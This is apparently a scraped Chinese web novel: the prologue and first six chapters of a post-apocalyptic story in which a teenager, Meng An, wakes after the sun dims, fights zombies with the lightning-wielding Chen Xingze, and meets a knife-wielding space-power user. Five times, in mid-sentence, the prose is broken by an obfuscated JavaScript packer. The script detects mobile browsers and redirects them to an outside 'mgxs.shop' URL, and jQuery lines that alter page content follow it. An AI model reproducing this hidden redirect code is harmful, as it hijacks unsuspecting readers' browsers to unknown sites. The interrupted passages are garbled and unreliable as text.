《这个末世大有问题?!》
1. 楔子 黄昏纪元
万物始于一场毫无征兆的熄灭。
在那被后世史书裁掉的二十四小时里,宇宙向地球展示了它最慷慨的冷漠。那颗主宰了数亿年荣枯的黄金巨星,在正午时分,突兀地坠入了名为“衰老”的深渊。
那是绝对的黑暗。它并非光线的缺失,而是一种实质性的、沉重的虚无。
风在凝固,海洋在失温,人类文明赖以生存的所有秩序,在那个瞬间与波动的电磁信号一同断裂。百亿人甚至来不及发出惊叹,便被某种跨越维度的意志强行剥离了意识,集体陷入了一场长达一昼夜的死寂。
直到微光重现。
然而,那不再是人们记忆中灿烂的晨曦。苏醒的太阳像是被掏空了核心的炭火,仅剩一圈暗淡而苍凉的橙紫,在铁锈色的苍穹下苟延残喘。大气不再透明如镜,而是混杂着不名状的尘埃与辐射,滤掉了最后一点暖意。世界从此陷入了永恒的黄昏,光合作用的韵律戛然而止,冰封的颗粒在荒野上无声地流淌。
随后,是基因的哀鸣与重组。
在这场宏大的能量震荡中,造物主投下了命运的骰子。大部分生灵在梦魇中沉沦,沦为被饥饿驱使的行尸走肉,在永夜的阴影里互相撕咬;动植物在苦涩的冷风中野蛮生长,扭曲成人类从未理解过的狰狞形态。而极少数幸运——亦或是更彻底的不幸者,在黑暗中窥见了进化的秘辛。他们的血液
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540233|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开始在低温下沸腾,某种超越自然法则的力量在骨髓深处萌发。
于是,世界裂变成了无数个碎片。
在那些荒凉的废墟间,有人诵读从未存在过的经文,宣称继承了远古的仙道;有人怀揣着先知的断章,试图修补支离破碎的未来;甚至有灵魂穿越了虚幻与现实的边界,带着异世界的记忆降临此间。他们是时代的变量,是乱世的劫灰。
但这颗老去的星球已不再关心这些。在暗淡的日轮下,旧时代的残骸正在风化,新世界的规则尚在血泊中蠕动。这不是一场简单的终结,而是一次漫长且冰冷的更迭。
命运的指针已经拨动,余温尚存,但长夜将至。
2. 只道寻常
孟洝是被窗外的鸟叫惊醒的。
不是急促的喧鸣,两三声断续的,落在清晨微凉的空气里,轻得像一层薄霜。
他没立刻睁眼,指尖蹭过床单,棉质的纹路带着隔夜的凉。后背有层细汗,贴在衣料上,黏得很轻,却让他瞬间清醒。
晨光从窗帘缝隙漏进来,落到他搭在被子外的手腕上。皮肤白得近乎透明,淡青色的血管清晰可见,细瘦的腕骨微微凸起,肩头落在光影的分界处,透着少年独有的挺拔。
呼吸还没平复,胸腔里残留着一丝极淡的闷,像被什么东西轻轻压过,转瞬便舒展开。
他终于掀开眼,视线落在地板上那条细长的光影里,静止了两秒。
梦里的画面碎得厉害,只余下一片模糊的灰。残留的触感稍纵即逝,他没有试图去回忆,于是就连那点莫名的沉,也淡得快要消失。
孟洝坐起身,脊背挺得笔直。拉开窗帘,阳光瞬间涌进房间,带着街道上隐约的人声。他揉了揉手腕,转身去洗漱——又是平平无奇的一天。
-
天光透亮,孟洝骑着单车冲下坡,嘴里含混地咬着一块葡萄味的硬糖,校服外套随风鼓起,衣摆也漫着轻快。
淮城连着下了几个月的阴雨,今天却是难得放晴,晨光温和地铺在路面上,风里的潮意散了大半,只剩点清爽的暖。
街角那家老店将积灰的桌椅外摆开,蒸腾的热气裹着麦香飘荡在城市上空,食客三三两两,偶尔响起老板嘹亮的招呼,间杂着单车的叮铃声。
学校对面的小吃街热热闹闹地挤满了摊子,叫卖声此起彼伏。
孟洝单腿支地,车把松松攥在手里,另一只手捏着手机扫码,小臂利落的轮廓掩在校服宽大的袖管里,指节用力时绷出浅淡的线条。
“大叔,一个鸡蛋灌饼,加肠不要辣。”
“好嘞,稍等啊同学!”
他今年十六岁,是那种标准的少年骨架,看起来单薄,但跳起投篮时无意间露出的腹肌线条,总能精准收割满场的尖叫。
“支付宝到账,七元。”
鸡蛋灌饼裹在塑料袋里,他咬了一口,随手挂在车把上,面香混着油香,随着车轮滚动轻轻晃悠。
校门口人潮攒动,满是青春期特有的躁动。前面的女生正凑在一起咬耳朵,手机屏幕上赫然是校论坛的热帖——照片里的少年握着话筒站在台上,垂着眼,面无表情。
“就这张!高二那个!”其中一个压低声音,语气兴奋。
另一个刚要接话,余光猛地一瞥,随即愣在原地。
孟洝正骑车经过,单肩背着书包,阳光细碎地落在侧脸上,神情淡淡的,确实和照片里一样酷——如果嘴角没沾着那点酱的话。
“噗——”
她戳了戳同伴,两人对视一眼,笑声清脆。
孟洝目不斜视地掠过去,耳尖微微泛红。
骑出几米远,他才动作极小地抹了一下嘴角,白皙的手背上沾着点酱色,热度顺着耳根往下蔓延,脖颈晕开一片薄粉。
穿过攒动的人群,车轮碾过校门口温热的地面,少年的身影渐渐融入熙攘打闹的学生中。晨光落在他清瘦的肩背上,勾勒出干净利落的线条。
-
语文课的铃声拖了又拖,黑板上的粉笔字密密麻麻,老师的声音平稳得像老旧的钟摆,撞得人眼皮发沉。
下课前五
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540234|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分钟,额外的作业布置下来,教室里瞬间响起一片低低的哀嚎,细碎的抱怨声缠在一起,散在滞闷的空气里,挥之不去。
孟洝没出声,指尖带着笔杆无意识轻敲桌面。困意像潮水般漫上来,裹着课本上枯燥的文字,让他连抬眼的力气都没有。直到下课铃声终于刺破沉闷,他几乎是立刻伏在桌上,脸颊贴着微凉的桌面,意识迅速沉了下去。
又是那个梦。
梦里依旧一片混沌的沉闷。暗淡,滞涩,模糊不清。突如其来的失重感让他猛地睁开了眼,校服被不知何时渗出的冷汗浸湿。
窗外的阳光正盛,带着临近中午的灼意。教室里空荡荡的,只剩下前排零星几个趴着补觉的同学。两节课悄无声息地过去,已经快到中午了。
孟洝坐在后排靠窗的位置,刚醒的茫然还挂在眼底,他支着下巴,眯起眼望向窗外悬在半空的太阳,光线柔和,没什么刺眼的锋芒。
他盯着那轮光晕看了很久,直到眼睛生出细密的涩痛。
于是他轻轻眨了下眼,视野模糊成一片朦胧的水光,眼睫沾着一点生理性的湿意。
就在这极短的一瞬,太阳消失了。
浓稠如墨的黑暗骤然降临,刹那间吞噬了一切。
四面八方惊恐的尖叫,教室里桌椅剧烈的碰撞和走廊上慌乱交织的脚步,都在短短几秒内归于沉寂。
风停在了树梢,麻雀无言坠落。大地沉闷的震颤,海洋永恒的潮汐,在这突如其来的荒原里戛然而止。
文明的喧嚣迅速塌缩,自然的轰鸣陷入冰冷的长眠,世界在极度的黑暗中显得空旷而干净。
最后连孟洝的意识,也一并没入这无尽的黑暗中。
3. 永暮之晨
再次有感知时,是刺骨的寒意顺着单薄的校服往骨头缝里钻。
孟洝的眼皮重得像灌了铅,费力掀开一条缝,视野里是熟悉的天花板。教室里原本整齐的桌椅杂乱地堆在一边,墙壁和地板上分布着不规则的褐色痕迹。
头依旧沉重,带着不知名的闷痛。他试着撑地起身,动作却意外地丝滑,甚至带着一种陌生的轻盈。
窗外的天灰蒙蒙一片,风卷着沙尘掠过,带着铁锈般的腥气。
意识像被浓雾裹着,迟钝地回笼——骤然消失的太阳,此起彼伏的尖叫,以及瞬间砸下来的绝对黑暗。
一个陌生的、崩坏的世界。
孟洝茫然地眨了下眼,一时不知道自己是不是应该先走剧本尖叫一下。
“醒了?”一个吊儿郎当的声音响起,在空荡的室内显得突兀且不合时宜。
这声音不大,却在死寂的环境里,异常清晰地指向了斜后方。孟洝下意识扭头,精准锁定了那个原先被他当成背景板的青年。
“还以为你挂了呢,我都琢磨好一会儿该把你埋哪儿了。”男人哼笑一声,狭长的眼微微眯起,眼尾像被墨笔轻轻一挑,带着天生的勾人弧度,瞳仁却深得发沉。
他半靠在歪斜的讲台上,修长的指骨有一下没一下地叩击着布满裂痕的台面。
见孟洝木着脸盯自己,他歪了歪头,率先打破沉默:“陈行泽。”
他停顿片刻,目光扫过满室狼藉,语气里带着三分惋惜七分自嘲:“说出来你可能不信,我本来是受邀回校演讲的,优秀校友,稿子都快憋出来了。结果赶上了这出……你说,这算是老天爷也听不下去我的废话了吗?”
“我知道你。”孟洝开口,嗓音哑得像生吞了一斤砂纸。
陈行泽挑眉:“哦?魅力这么大?”
“校光荣榜上还贴着你的大头照。”孟洝面无表情地拍了拍校服上的灰,“常被教导主任拿来当正面教材和反面典型。听说你拿奖学金的频率和写检讨的频率基本持平。”
他撑着桌沿站定,接着道:“我叫孟洝,高二。本来在教室睡觉……刚睡醒,就又昏过去了。”
“那你现在肯定精神焕发,”陈行泽嘴角勾起一抹极轻微的弧度,那点懒洋洋的调侃挥之不去,“毕竟你可是又睡了整整三天三夜。也就是遇上我这种尊老爱幼的热心学长,换个人早把你当储备粮打包带走了。”
那TM叫昏迷!昏迷!孟洝内心的小人暴躁地掀了桌子,面上却只是垂眸活动了一下手腕,眼神里透着一丝微妙的郁闷。
陈行泽见他站稳,脸上那点戏谑退潮般收敛。狭长的狐狸眼被一层冷沉覆盖,像压着三天来见到的所有荒芜。
“那么,”他声音里的散漫消失无踪,取而代之的是一种近乎冷冽的平静,“欢迎来到新世界,孟洝。”
-
灰蒙蒙的天光透过破碎的窗棂,在积满尘土的走廊上投下斑驳的阴影。穿堂的冷风裹挟着沙尘灌入楼道,混着若有似无的腐臭。
太阳消失后,万物陷入了前所未有的安静。在那被后世称为‘大晦日’的二十四小时里,神熄灭了烛火。
当世界再次睁开眼,往日那颗炽热的火球已沦为暗淡的余烬。天空低垂,呈现出铁锈般的色彩,风中永远带着洗不去的寒意。
大多数人没能挺过那场黑暗,成了游荡在阴影里的活尸;而活下来的人发现,身体里正有什么东西在冰冷的血液中萌芽。太阳虽然老去,但属于异类的纪元,才刚刚破晓。
而此时此刻,孟洝望向窗外那一片颓败的狼藉,轻声问道:“现在……该怎么办?”
“首先,你得知道自己算哪一边的。”陈行泽的目光扫过楼下隐隐绰绰的影子,“那场黑暗像一次强制筛选。大部分人变成了外面那些只会游荡和咬人的东西。小部分活了下来。”
“但是……”他略微停顿,斟酌着措辞:“身体机能变了。对食物、睡眠的需求会比以前低,感知力在增强。更重要的是……”他抬起右手,食指与拇指轻轻一搓。
“噼啪。”
一簇细小的、蓝白色的电光在他指尖骤然跳跃,像一只暴戾的小兽,又迅速湮灭在昏沉的光线里,只留下一丝淡淡的、类似臭氧的气息。
“部分幸存者觉醒了不太科学的能力,”陈行泽放下手,理了理并不存在的袖口,“就像我这样。”
异能?还真是末日文学的标
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540235|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
准配置啊。
“那其次呢?”孟洝强压下内心的亿点点震撼,继续维持高冷Boy的人设。
“其次,”陈行泽又恢复了那副半死不活的样,“是去找点能入口的东西。你昏了三天,不饿?”
“有一点。”孟洝如实说,他的胃确实在对他发出卑微的抗议。
“很好,说明你还没进化到能喝风饮露的地步。”陈行泽走向教室门口,示意他跟上。
“这层我看过,除了咱俩没活口。食堂和小卖部或许还能有点吃的。”他瞥了一眼墙根那滩触目惊心的暗红,“你知道有什么稳妥的落脚点吗?”
孟洝踏进昏暗的走廊,冷风扑面,脑海里闪过一个地方。
“我家。”他说,“在城西的澜山别墅区。地下室有备用发电机和独立的储水系统。”
陈行泽脚步一顿,侧头打量他,眼神像是在看一只深藏不露的小金猪,“别墅区?听起来是个不错的据点。不过从学校到城西,距离可够咱俩死上几回的。”
“我知道。”孟洝沉默一瞬,“但我家门锁是防爆的。”
“行。”陈行泽微微失笑,没再废话,“带路的活儿就交给你了,小向导。先找点吃的苟一晚,明天动身,希望你家够□□。”
他像是忽然想起什么,随口问道:“对了,家里人呢?”
孟洝拽袖子的动作几不可察地一滞。他抬起眼,声线平直:“就我一个。”
陈行泽挑挑眉,没有露出那种廉价又讨嫌的同情,只是很淡地“哦”了一声。
“巧了,”他接道,语气竟然透着点诡异的轻快,“我那对爹妈早几年就奔向美利坚追求自由了。我从高一就自己住。”
他率先踏入走廊更深的阴影里,声音在空旷中显得格外清晰:“跟紧点,小孟同学。新世界的第一课——活下去,从熟悉你自己的身体和适应无处不在的‘惊喜’开始。”
孟洝深吸了一口带着腐臭和尘埃的空气,迈步跟了上去。窗外,铁锈色的天空沉沉地压着寂静的城市,风中传来的,只有遥远的、意义不明的窸窣声响。
他的脚步落在走廊积尘的地面,很轻,却像一声应答,落进了正在展开的时间里。
4. 暗涌微光
一觉醒来世界末日了。
这一点也不好笑,荒谬得像三流写手宿醉后敲出的烂俗剧本,却赤裸裸成了现实。
至于陈行泽口中的变化,孟洝确实感觉到了:力气变大了一截,昏睡三天后身体格外轻盈,连饥饿感都很克制。除此之外……
他伸出修长的手指,在空中虚虚点了两下,面色凝重。
空气一片死寂,毫无反应。
他微微蹙眉,凝神屏息,脑海里轮番闪过狂风、烈火、冰棱,甚至连巴啦啦小魔仙的咒语都拉出来溜了一秒。
指尖依旧空空如也,连个火星子都没蹦出来。
“啧。”
孟洝盯着掌心,内心泛起一丝蛋蛋的忧伤。
“有些人的异能比较特殊,存在于非物质层面,初期几乎难以察觉。”陈行泽瞄到他的举动,语气平淡,嘴角却微不可察地上扬了0.005个像素点。
这家伙绝对是在嘲笑他吧!
孟洝趁他目光移向走廊前方,闪电般将手插回校服口袋,若无其事地问:“那这种人在末世初期,岂不是很难活下来?”
“唔,算是吧。”陈行泽并未否认,“但如果能苟过开始的混乱,发展潜力通常不小。”他说着,从墙边的消防柜里暴力拆出一把斧头,随手扔给孟洝。
“欸?那你——”孟洝的话截然而止。
陈行泽的指尖,一缕细小的蓝白色电光正无声缠绕,噼啪轻响。他微微偏头,狭长的眼里映着那抹危险又迷人的光泽。
……靠。
某种属于少年人最直白、最纯粹的渴望和羡慕,像被剧烈摇晃过的汽水,咕嘟咕嘟地顶着天灵盖,差点就要从他那张波澜不惊的脸上溢出来了。
孟洝盯着那缕电光,内心某个角落很不争气地“哇”了一下,随即又被他用更大的力气按死。
“攻击时要瞄准头部,现在是白天,这些东西行动迟缓,用力一点就能砍穿。最重要的是别被咬到或抓到。”陈行泽正色道,虽然这份正经只维持了半秒。
“不过到了晚上嘛,它们会‘活泼’不少。我们得在六点前搞定食物和今晚的落脚点。”
孟洝点了点头,默默捏紧了手中沉甸甸的消防斧。
窗外,灰蒙蒙的天光晦暗不明,完全看不出是下午三点。自从人类再次苏醒,世界仿佛就被罩上了一层永不消散的灰色滤镜。
下楼的过程比预想中顺利。二楼的楼梯间躺着两具被爆头的尸体,暗红的污迹在冷白色瓷砖上极具视觉冲击力。孟洝移开视线,喉头有些发紧。
真正的考验在一楼门厅。
三只丧尸正在那片空旷处游荡,动作呆滞僵硬。听见动静,它们齐齐扭转脖颈,灰白浑浊的眼球锁定了楼梯方向,喉间挤出破碎的低吼。一股铁锈混杂着腐败的浓烈气味也随之弥漫开。
孟洝的胃里条件反射地翻搅了一下。他握紧斧柄,指节发白。
“左边那只归你。”陈行泽的声音在耳侧低低响起,“记住,头是弱点。”
话音未落,他已如一道离弦的冷光掠出。
孟洝深吸一口气,压下胃里的翻腾。在丧尸扑来的瞬间,他侧身避开,长期打球练就的反射神经在这一刻爆发。斧刃带起一道利落的弧线,精准地嵌进了丧尸的太阳穴。
咔嚓。
手感沉滞,暗红色的液体溅上他的裤脚,丧尸向前栽倒。孟洝没有停顿,迅速抽回斧头,对准后脑又是一记重击。
他后退半步,急促地喘息。浓烈的腐臭味和斧面上令人作呕的污迹刺激着感官,但他握斧的手很稳。几秒后,他深深吐出一口浊气,慢慢平复了剧烈的心跳,抬眼看向另一侧。
陈行泽早已解决,正随意甩着手,指尖残留的电光没入空气。他走过来,打量了一眼孟洝脚下的残局,“不错啊,适应得挺快。”
”早晚的事。”孟洝的声音还带着一丝颤,但眼神已经冷了下来。这尾音拖得很长,最终消散在浮动的尘埃里。
-
学校的小卖部与教学楼仅隔一条窄廊,玻璃门布满裂痕,残存的碎片交错挂在门框上,在昏沉的光线下泛着冷硬的光。里面已是一片狼藉,货架东倒西歪,包装袋和零星物品散落一地。
“有人来过了啊。”陈行泽扫视一圈,目光落在货架深处——那里还有几道蹒跚的影子在徘徊,听到动静缓缓转身。
清理过程很快。在相对狭窄的空间里,陈行泽的雷电发挥了精准高效的作用,孟洝则负责戒备和补刀。解决掉最后的隐患,两人立刻开始搜刮。
巧克力和常见方便食品已被搜走大半,但在倒塌的箱子后还是翻出了不少存货:矿泉水,能量棒、肉罐头,甚至还有几包压在最底下的创可贴。
陈行泽从收银台后面拎出两个背包,抖了抖灰,递给孟洝一个。
孟洝接过包,看清的一瞬间,嘴角狠狠抽动了一下。
包是白色的,上面赫然印着一只线条简单、笑得极其弱智的卡通猫。
少年的脸显而易见地垮了下去,透出一股生无可恋的冷漠。
“就找到这两个能用的,”陈行泽晃了晃自己手里那个印着狐狸的黑色背包,语气无辜,手上动作却利索得很,“凑合吧,学弟。”
孟洝盯着那只蠢猫看了两秒,最终认命地吐了口气。
白色的猫脸很快被鼓囊囊的物资撑得变了形,显得有些滑稽,但背在身上,那份沉甸甸的坠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540236|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感意外地让人安心。
“行,走了。”陈行泽掂了掂分量,把包背在身上,那只眯着眼睛的狐狸随着他的动作轻轻晃动。
-
铁锈色的天空沉沉地压着空旷的操场,风里裹挟的尘埃与隐约的腥气扑面而来。操场上零星散布着七八个拖沓游荡的身影,距离尚远,灰败褴褛的轮廓模糊在昏沉的天光下。
教师公寓就在操场尽头。
“这个距离……”陈行泽计算了一下,果断道,“冲。”
两人在空旷的操场上划出迅疾的轨迹。远处的丧尸被惊动,迟缓地扭转身体,朝着新鲜血肉的气味伸出僵硬的手臂。
不过十几秒,两人已抵达公寓区最外侧那栋楼的入口。厚重的门虚掩着,留着一掌宽的缝隙,里面一片昏暗。
陈行泽侧耳贴近门缝凝神听了两秒,随即猛地推门,右手五指微张,蓝白电弧如同活物般窜入昏暗的门厅。
噼啪——滋啦!
刺眼的蓝白电弧在昏暗的门厅里炸裂。强光一闪而逝,伴随着几声短促的爆裂闷响,空气中顿时弥漫开一股皮肉烧灼后的焦糊味。
“进。”
孟洝闪身而入,反手将那道沉重的金属框玻璃门推回原位。门锁扣合,发出“咔哒”一声轻响。
就在他脚步落定的瞬间,走廊深处传来一声轻微的“嘀”声,紧接着——
嗒、嗒、嗒。
嵌在天花板里的几盏应急照明灯由近及远,次第亮起,散发出稳定而冷白的微光,瞬间照亮了向前延伸的长廊。
“备用供电系统还在工作,”孟洝仰头观察,“这楼去年才翻新过。”
“现在倒是便宜咱俩了。”陈行泽从值班室溜出来,手里多了张门禁卡。他顺手往孟洝脖子上一挂,胳膊也跟着搭了上去,大半个人松松垮垮地倚在了学弟身上。
“嗯……就三层。白天上课点儿,这里应该没啥人。”他懒洋洋地指挥着,“小孟同学,你去把一楼仔细巡视一圈,我上去清二三层。打扫干净点,今晚咱俩得睡个安稳觉。”
这种时候,按照小说套路,孟洝应该感动于学长的担当,或者沉浸在某种同生共死的羁绊里。但现实是——
“欸,怎么没声儿——”陈行泽偏头,正对上孟洝幽幽瞥过来的眼神。
少年抿了抿唇,一字一顿:
“学长,你好重啊。”
陈行泽嘴角那抹懒散的弧度,倏地僵在了半途。
——咔嚓。
啊,好像有什么东西轻轻碎掉了。
这位游刃有余、逼格拉满的雷系大佬,未来的人类之光,在此刻遭到了来自亲亲学弟的会心一击。
K.O.
5. 第三位旅人
应急灯的冷白光线只能勉强勾勒出一楼走廊的轮廓,两侧的房门如同沉默的墓碑。空气里尘埃浮动,混合着消毒水残留的刺鼻气味——这栋翻新过的公寓,还保持着文明崩塌前最后一丝体面。
孟洝握紧消防斧,沿走廊西侧逐一检查。大部分门都锁着,从门缝下望进去一片漆黑。直到倒数第二间,门虚掩着。
他用斧柄轻轻推开门。
空气里有种不同寻常的滞涩感。
标准的一室一厅套房,陈设简单得近乎刻板。客厅茶几上还放着一杯没喝完的水,水面上浮着一层灰。卧室床铺整齐,仿佛主人只是临时离开。
洗手间的门关着。
孟洝的目光落在门把手上——金属表面有几道新鲜的划痕,在昏暗光线下泛着细微的异样光泽。
他屏住呼吸,朝洗手间靠近。
就在指尖即将触到门板的瞬间,门悄无声息地向内滑开了。
-
里面没有开灯,借着客厅透进的稀薄光线,能看见洗手台前站着一个人影。
那人背对门口,正微微低头,似乎在端详镜中的自己。身形高挑清瘦,穿着件过分干净的白衬衫,袖口挽到手肘,露出一截苍白得近乎病态的小臂。黑发有些长,发尾扫过颈侧,在昏暗中泛着哑光。
他似乎完全没注意到门口的动静。
或者说,毫不在意。
孟洝的斧头握得更紧,指尖抵着冰凉的金属柄。他没有贸然出声,也没有后退,只是站在那里,目光锁定那道背影,浑身的肌肉都绷了起来。
时间在寂静中黏稠地流动。
几秒后,洗手台前的人影动了。
他抬起左手,慢条斯理地拧开了水龙头。
哗——
水流声突兀地打破了死寂。清澈的水柱冲击着陶瓷盆底,溅起细小的水花。在断水已成常态的此刻,这声音奢侈得近乎荒诞。
荒腔走板的哼唱声断断续续响起。
那人伸手接了一捧水,泼在脸上。水流顺着他的颌线滑下,滴落在衬衫领口,洇开深色的痕迹。
似乎感觉到目光,男人动作一顿,慢悠悠地转过身。
那是一张漂亮到近乎锋利的脸。
五官轮廓深刻,眉骨与鼻梁的线条像用最冷的刀削出来的。皮肤苍白,唇色却很艳,像雪地里的一抹血。
最让人移不开眼的是那双眼睛——眼窝略深,眼眶的线条清晰得近乎刻意。昏沉光线下,瞳仁边缘泛着一圈极淡的、非人的金棕色,像某种大型猫科动物在暗处收缩的瞳孔。
冰冷,专注,又带着点漫不经心的残忍。
他的目光在孟洝脸上停留了两秒,然后下移,扫过少年手中的消防斧,又抬起来。
嘴角勾了起来。
那笑容很浅,弧度恰到好处,却没有任何温度,反而让那张漂亮的脸透出一股神经质的危险感。
“啊,”他开口,声音是意料之外的清冽,像冰层下流动的水,“你来了。”
孟洝没接话,浑身的戒备提到了顶点。
这人不对劲。
“别紧张,我只是在洗脸哦。”他展示了脸上滚落的水珠和湿漉漉的双手,做出个俏皮的投降姿势。
“你是?”
他甩了甩手上的水珠,几滴冰凉溅到孟洝脚边。动作带着一种近乎表演的随意。然后他向前走了一步,完全从洗手间的阴影里挪到了客厅微弱的光线下。
“我啊,我叫谢三望。”他自我介绍,语调轻快得像是午后闲聊,“暂时住在这里。你呢?新来的邻居?”
孟洝的斧头没有放下,声音压得很低:“孟洝。”
“孟洝。”谢三望重复了一遍,舌尖轻轻卷过这两个音节,像在品尝什么新奇的味道。他的笑容加深了些,“好名字。不过,现在可不是串门的好时候,对吧?”
“你一个人?”孟洝问,目光迅速扫过房间其他角落。太干净,太整齐了,除了洗手间的水迹,没有任何近期激烈活动或生存挣扎的痕迹。
“目前是哦。”谢三望摊摊手,“之前有几个不太友好的访客,不过……他们不太懂礼貌,被我请出去了。”他眼里有着某种正在缓慢沸腾的、近乎狂热的兴奋。
漂亮怪异的青年直勾勾地盯着孟洝,忽然咧开一个过分灿烂的笑,嘴角几乎要咧到耳根。
“但你和他们不一样……对吧?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540237|203919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
话音未落,他手腕一甩——两把蝴蝶刀不知从何处滑入掌心,刀身在昏暗光线下划过冰冷的银弧。他甚至没摆什么起手式,整个人就像一道苍白的影子,猛地掠了上来!
孟洝瞳孔骤缩,几乎是凭借身体本能将消防斧向上一格——
锵!
刺耳的金铁交击声炸响。蝴蝶刀薄而利的刃口死死咬住了斧柄,火星迸溅。巨大的冲击力震得孟洝虎口发麻,脚下蹬蹬退了两步。
谢三望的攻势如水银泻地,毫不停歇。两把短刀化作一片交织的死亡银网,角度刁钻狠辣,毫无章法,却招招致命!
一道银光贴着颈侧皮肤掠过,带起一阵战栗的凉意。孟洝甚至能闻到刀锋上隐约的铁锈味。
我X!
孟洝心中倒吸一口凉气,神经病啊!
又一次险之又险地侧身躲开捅向肋下的刀刃,孟洝后背已撞上冰冷的墙壁,退无可退。谢三望眼中兴奋的光芒几乎要燃烧起来,他舔了舔嫣红的唇角,像嗅到血腥气的鲨鱼,举刀再刺——
啊啊啊打不过了救命!
孟洝深吸一口气,用尽全力朝门外吼道:
“陈行泽——!”
噼啪——轰!
一道炽烈暴烈的蓝白色电光毫无征兆地撕裂昏暗,如同一条怒龙,从客厅门外咆哮着窜入,精准地砸在谢三望身前的地板上!
瓷砖炸裂,碎屑飞溅,强烈的电流余波在空气中噼啪作响,映亮了谢三望骤然收缩的瞳孔。
他前冲的势头戛然而止,轻盈地后跳避开飞溅的“碎片,落地时悄无声息。他抬起头,看向门口。
陈行泽不知何时已站在那里,单手插兜,另一只手的指尖还萦绕着未散的电弧,噼啪作响。他脸上没什么表情,只有那双狭长的眼微微眯起,目光落在谢三望身上,冷得像结了冰。
孟洝紧绷的后背微不可察地一松,迅速转向门口——靠谱啊皮卡丘!
“哟,”陈行泽开口,声音不大,却清晰地压过了尘埃落定的簌簌声,“欺负未成年?”
他向前走了一步,踏入房间。指尖的电光随着他的步伐,危险地跳动了一下。
“不太好吧?”
6. 一剑惊鸿
对峙的空气凝固了几秒,只有尘埃在光线中缓缓沉降。
谢三望抬手,用指腹蹭了下脸颊——那里有一道被刚才飞溅的碎片划出的细痕。他低头盯着指尖那点鲜红,眼神有一瞬沉得骇人。
再抬起头时,脸上挂起一个毫无攻击性的笑容。
“开个玩笑啦。”他眨眨眼,声音放得又轻又软,带着点无辜的拖腔,“我只是跟孟洝同学……打个招呼。”
他甚至歪了歪头,做了个“我不是故意的啦”的卖萌表情。那张漂亮的脸做这种姿态确实赏心悦目,但在场没人给这个神经病捧场。
他手腕随意一翻——那两把寒光凛冽的蝴蝶刀,就这么凭空消失了,仿佛从未出现过。
看到孟洝微微睁大的眼睛,谢三望嘴角得意的弧度更深了,他竖起一根食指贴在唇边,像分享一个秘密:
“是我的异能哦~空间系。是不是……”他拖长了调子,眼中闪着恶作剧得逞般的光,“很酷?”
陈行泽脸上最后一丝温度也褪尽了。他没再看谢三望,只对孟洝说了两个字:“走了。”
语气平淡,带着不容置疑的力度。
“好啊。”谢三望非常好说话地笑着,甚至侧身让了让,“我还想睡个好觉呢。你们可以住我隔壁哦,那间很干净。”
陈行泽没再搭理他,直接拉着孟洝的手腕,转身朝楼梯走去。力道不大,但步伐果断。
“孟洝——”
已经走到走廊的孟洝下意识回头。
一道小小的影子划过半空,他条件反射地抬手接住。
掌心躺着一颗独立包装的巧克力,金色锡纸在冷白灯光下微微反光。
谢三望还站在那间房的门口,背靠着门框。见孟洝接住了,他咧开一个巨大的笑脸,用口型一字一顿地、夸张地比划:
很~好~吃~哦~
然后,他向后一仰,身影便融入了房间的昏暗里。门被轻轻带上,发出“咔哒”一声轻响。
走廊里重新恢复了寂静,只剩应急灯低微的电流声。
